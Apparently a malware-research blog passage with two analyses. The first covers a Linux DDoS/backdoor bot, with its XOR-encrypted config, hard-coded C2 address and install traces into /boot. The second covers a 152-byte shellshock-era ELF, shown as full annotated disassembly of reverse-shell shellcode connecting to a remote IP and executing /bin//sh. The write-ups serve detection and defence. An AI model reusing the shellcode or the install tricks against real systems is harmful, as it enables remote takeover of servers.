There are some encryption to be decrypted in this malware, that I tested as per below, that looks having xor pattern:

// checking decryptor...

.text:0x804CB63   mov   dword ptr [esp+4], offset aM_Nfr7nlqqgf_0
.text:0x804CB6B   lea   eax, [ebp+filename]
.text:0x804CB71   mov   [esp], eax
.text:0x804CB74   call  dec_conf           // decrypting function..
.text:0x804CB79   mov   dword ptr [esp+8], 0Ch // <== break it here..

Breakpoint 1, 0x0804cb79 in main ()
query offset aM_Nfr7nlqqgf_0: "m.[$nFR$7nLQQGF"
query register: $esp
0xffffa1b0:  "[\305\377\377\343\033\v\b\020"
;-----------------------
.text:0x804CB81   mov    dword ptr [esp+4], offset aM_Nfr7n9_0
.text:0x804CB89   lea    eax, [ebp+var_114D]
.text:0x804CB8F   mov    [esp], eax
.text:0x804CB92   call   dec_conf

Breakpoint 2, 0x0804cb9 in main ()
query offset aM_Nfr7n9_0: "m.[$nFR$7n9"
query register: $esp
0xffffa1b0:  "[\304\377\377\363\033\v\b\f"
;-----------------------
.text:0x804CBBD   mov    dword ptr [esp+4], offset aM4s4nacNa ; "m4S4nAC/nA"
.text:0x804CBC5   lea    eax, [ebp+var_E4D]
.text:0x804CBCB   mov    [esp], eax
.text:0x804CBCE   call   dec_conf
.text:0x804CBD3   mov    [ebp+var_34], 0

Breakpoint 3, 0x0804cbd3 in main ()
query offset aM4s4nacNa ; "m4S4nAC/nA"
query register: $esp
0xffffa1b0:  "[\307\377\377#\034\v\b\v"

Here is the xor used as the component logic for the decryption function:

With the key that lead to this address:

It "looks like" the author is having "interesting" way to remind him the XOR key itself, I don't investigate this further since I had the goal..

A hard-coded callback IP address

And look what I got next to the xor key :))

So now we know the CNC is too ;)

IP: 103.25.9.228||59270 | 103.25.9.0/24 | CLOUD 
Country: "HK | CLOUDRELY.COM" |CLOUD RELY LIMITED

The bummer part of this malware is, it crashed itself when run under limited permission...

"msec   calls "
-----------------------------------------------------------------------
(120): execve("./SAMPLE-MALWARE", ["./SAMPLE-MALWARE"], ["SHELL=etc..])
(125): set_thread_area(0xffc8373c)
(126): set_tid_address(0x92e6888)
(127): set_robust_list(0x92e6890, 0xc)
(128): futex(0xffc83a04, FUTEX_WAKE_PRIVATE, 1)
(129): rt_sigaction(SIGRTMIN, {0x8053860, [], SA_SIGINFO}, NULL, 8)
(130): rt_sigaction(SIGRT_1, {0x8053780, [], SA_RESTART|SA_SIGINFO}, NULL, 8)
(131): rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8)
(132): getrlimit(RLIMIT_STACK,etc)
(133): uname({sysname="Linux", nodename="mmd", release="mmd-amd64", 
             version="#1 SMP mmd-7u1", machine="saever-momma"})
(142): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023)
(143): clone(Process)
(145): exit_group(0)
(146): [pid new] setsid()
(147): open("/dev/null", O_RDWR)
(148): fstat64(3, {st_dev=makedev] etc) 
(149): dup2(3, 0)
(150): dup2(3, 1)
(151): dup2(3, 2)
(152): close(3)
(153): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) = 20
(154): stat64("/boot" etc)
(155): stat64("/lib", etc)
(156): stat64("/lib/udev" etc)
(157): stat64("/var", etc)
(158): stat64("/var/run", etc)
(159): gettimeofday({1411989055, 135168}, NULL) 
(160): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) 
(161): unlink("/lib/udev/udev") 
(162): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(163): open("/lib/udev/udev", O_WRONLY|O_CREAT, 0400)
(165): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(166): open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
(168): open("/boot/[a-z]{10}", O_WRONLY)
(169): clone(Process attached
(171): waitpid(Process suspended
(173): clone(Process attached
(175): exit_group(0)
(179): rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8)
(180): rt_sigaction(SIGCHLD, NULL, {SIG_IGN, [CHLD], SA_RESTART}, 8)
(181): nanosleep({1, 0},..
(192): chmod("/boot/[a-z]{10}", 0750)
(193): open("/boot/[a-z]{10}", O_RDONLY)
(194): "--- SIGSEGV (Segmentation fault) @ 0 (0)" --- ref: [a-z]{10}
(197): "rt_sigprocmask(SIG_SETMASK, [], NULL, 8)"

It saves the file in /boot with this regex: [a-z]{10}

What is the purpose of this malware?

The first is backdoor, and then, obviously DoS (SYN, UDP, TCP flood), using encrypted (temporary) config. Below is the PoC of the DDoS function names:

0x09305E   build_syn // SYN Flood
0x0950D0   build_tcphdr // TCP Flood
0x097101   build_udphdr // UDP FLood

And below is part of backdoor operation using HTTP/1.1 GET (to download / update) and callback in HTTP/1.1 POST:

.text:0x804A917   mov   dword ptr [esp+8], offset aPostSHttp1_1Sh
                        value: "POST %s HTTP/1.1\r\n%sHost: %s\r\nContent-T"
.text:0x804AB1D   mov   dword ptr [esp+8], offset aGetSHttp1_1Sho
                        value: "GET %s HTTP/1.1\r\n%sHost: %s\r\n%s"

Based on the code it looks like using AES.DDoS'er and IptabLes strategy to install, but the source are different. So, this is another new China DDoS'er, I call this as Linux/XOR.DDoS.

Virus Total and sample

Virus total detection is below (click the image to access..) One of 55 is a bad detection..

Sample is shared in kernel mode-->[here]

Conclusion & Credits

This threat is the first time we see using complicated installer/builder. I and other team mates start to feel like playing CTF with this crook. They (China actors) are improving in steps, we must be aware. Please stay safe folks..

Credit: @shibumi (threat sensoring), @wirehack7 (formulation), and others who doesn't want to be mentioned.

Additional

(A reserved section for additional and updates)

#MalwareMustDie!!

MMD-0027-2014 - Linux/Bashdoor(GafGyt) & Small ELF Backdoor at shellshock

Background: CVE-2014-6271 + CVE-2014-7169

During the mayhem of bash 0day remote execution vulnerability CVE-2014-6271 and CVE-2014-7169, I happened to be the first who reversed for the first ELF malware spotted used in the wild. The rough disassembly analysis and summary I wrote and posted in Virus Total & Kernel Mode here as proof, it's known now as bashlite, I was calling this Linux/bashdoor, to then knowing the real malware name as Lizard Kebab (LizKebab) aka Torlus aka GafGyt aka Qbot, see the date as PoC--> [-1-] [-2-] < Noted: thanks to Yinettesys (credit) (the credit is all for her for links to find this malware, for the swift sensoring & alert, and thanks for analysis request, we won't aware of these that fast w/o her).

Some antivirus is naming this malware after as Bashlite.

But..the fun has only just begun.. The story of a small (152bytes) ELF backdoor

FYI: Not only malware but TONS of #Linux #shellcode #exploit #ELF/#script can be used to attack #shellshock vulnerable systems < #PatchNow!

— @unixfreaxjp September 26, 2014

Yes. Today I was informed there is another payload distributed,:

Which leads to this malicious ELF file served online:

Do the pure reversing..

This ELF "malware" is very small, 152 bytes, and is working simple and straight to the point, it aims vulnerable bash for RCE on Intel servers in IDCs, it opens socket to remote host on a certain TCP/port while parsing the received data (via socket) to the "/bin//sh" upon connected, yes, it is a remote shell backdoor, or known as term backconnect, small because obviously was coded with ASM & and compiled ala shellcode built in GCC that often used for exploitation purpose.

For your conveniences, I wrote my disassembly & reversing scratch of all malware bits below in comments, for all of us to see how this malicious code works to mitigate this in the future:

0x08048054 | 31db       | xor ebx, ebx     ; nulling ebx by xor
0x08048056 | f7e3       | mul ebx          ; nulling ebx by mul
0x08048058 | 53         | push ebx         ; push 0 to stack ; from ebx=0x0 (nulled) < IPPROTO_IP
0x08048059 | 43         | inc ebx          ; ebx = 0x1 ; socketcall number 1 = sys_socket
0x0804805a | 53         | push ebx         ; push 1 to stack < AF_INET
0x0804805b | 6a02       | push 0x2         ; push 2 to stack < SOCK_STREAM
0x0804805d | 89e1       | mov ecx, esp     ; set pointer to arguments array
0x0804805f | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x08048061 | cd80       | int 0x80         ; Svc_0; sys_socketcall ; sys_socket
0x08048063 | 93         | xchg ebx, eax    ; socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
0x08048064 | 59         | pop ecx          
LABEL_loop_to_clear_dup_result_to_zero: 
0x08048065 | b03f       | mov al, 0x3f     ; syscall number 0x3f sys_dup2
0x08048067 | cd80       | int 0x80         ; Svc_0 ; sys_dup2
0x08048069 | 49         | dec ecx          ; counter for dup loop, 3 to 0 ; to null the socket() register result, reconnecting by duplicating the call
0x0804806a | 79f9       | jns 0x108048065  ; GOTO loop_to_clear_dup_result_to_zero:
0x0804806c | 681b139fe0 | push 0xe09f131b  ; backward: 1B139FE0 = 27.19.159.224 < c2_struct.sin_addr
0x08048071 | 68020011c1 | push 0xc1110002  ; 0x11c1 = 4545 < sin_port ; 0x02 = 2 < c2_struct.sa_family=AF_INET
0x08048076 | 89e1       | mov ecx, esp     ; set pointer for *c2_struct
                                            {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")}
0x08048078 | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x0804807a | 50         | push eax         ; push al=0x66 to stack (to invoke sys_connect)
0x0804807b | 51         | push ecx         ; push *c2_struct pointer (hold by ecx)
0x0804807c | 53         | push ebx         ; push *socketfd pointer to stack (hold by ebx)
0x0804807d | b303       | mov bl, 0x3      ; socketcall number = 3 ; sys_connect
0x0804807f | 89e1       | mov ecx, esp     ; set pointer to args array (for sys_connect)
0x08048081 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_connect
0x08048083 | 52         | push edx         ; push null (for string termination)
0x08048084 | 682f2f7368 | push 0x68732f2f  ; push string 'hs//' (backward) to stack
0x08048089 | 682f62696e | push 0x6e69622f  ; push string 'nib/' to stack
0x0804808e | 89e3       | mov ebx, esp     ; set pointer addr of "/bin//sh" into ebx from esp
0x08048090 | 52         | push edx         ; push null (for string termination)
0x08048091 | 53         | push ebx         ; push stack up
0x08048092 | 89e1       | mov ecx, esp     ; set pointer to arg (array of strings fron sys_connect) => exev_arg
0x08048094 | b00b       | mov al, 0xb      ; syscall number 0x0b sys_execve
0x08048096 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_execve("/bin//sh", ["/bin//sh", exec_arg],[NULL])
;(c) reverse engineering original work of @unixfreaxjp, posted first in blog.malwaremustdie.org

↑this is all to find out it back-connects to ip 27.19.159.224 in port 4545 & to execute sent argument by execution in shell via "/bin//sh" from that host in the designated IP address. I think I saw this a lot as in shellcode, was used in about a lot in incidents between 2010 to 2012..

Just in case you want to see how I reversed it, here's the cool tool to breakdown the opcode: (guess.. what tool is it?? *smile)

To confirm the the reversing ones can emulate its operation to have the result as per below, this is how the forensics will appear in system call level:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")

As per coded above, the sys_dup2 syscall has been executed 3 times on a loop for counting down the socket's result or socketfd in my assembly comment code (or sockfd) to zero. The rest it is obvious and self-explanatory as per written above.

So now reversing is confirmed, but we still want to know more how this works, but stillthere is too few artifacts to seek, so the next step is to find more forensics artifacts, by simulating what will happen if this malicious ELF is executed in the list of files form..

fu4k   12467   mmd    0u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    1u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    2u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    3u     unix 0xffff88018aad94c0   0t0 243884464 socket
fu4k   12467   mmd    4u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    5u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    6r     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    7w     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    8u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)

We can see that in a process under one workspace in the memory, the connection via socket was duplicated three times to (re-)connect to the remote IP, instead of a single attempt, so we have like 4 (four) attempt to reconnect. It is a small nasty thing isn't it?

So now we all know clearly how this backconnect scheme is actually working and not guessing anything.

For OSINT. This is the CNC IP source:

IP: "27.19.159.224"
ASN: "4134"
CIDR: "27.16.0.0/12"
Code: "CHINANET"
Contry: "CN"
ISP: "CHINATELECOM.COM.CN"
AREA: "CHINANET HUBEI PROVINCE NETWORK"

Detection ratio

As always for a new ELF malware found.. AV detection was ZERO (FUD/FullyUnDetected):

Sample is (always) shared

I am sharing the sample in virustotal [link], and was sharing this to the kernelmode site as new malware with name "Linux/binsh".

Epilogue

So we have "another" crook start playing with ELF hacks for spying purpose on shellshock too :-)

Thank you

Thank you to IT media article who directly mentioned and linked to us:

http://www.ehackingnews.com/2014/09/shellshock-bash-bug.html
http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html

Thank you to the IT media article who mentioned our work:

http://www.newsfactor.com/story.xhtml?story_id=94303
http://linux.cn/article-3909-1.html
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514

Thank you for blog and commments links:

http://contagiodump.blogspot.com.es/2014/10/shellshock-payload-sample-linuxbashlet.html
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/
http://blog.0day.jp/2014/09/bash-0dayreal-time.html

Stay safe..there will be more of these.. #MalwareMustDie!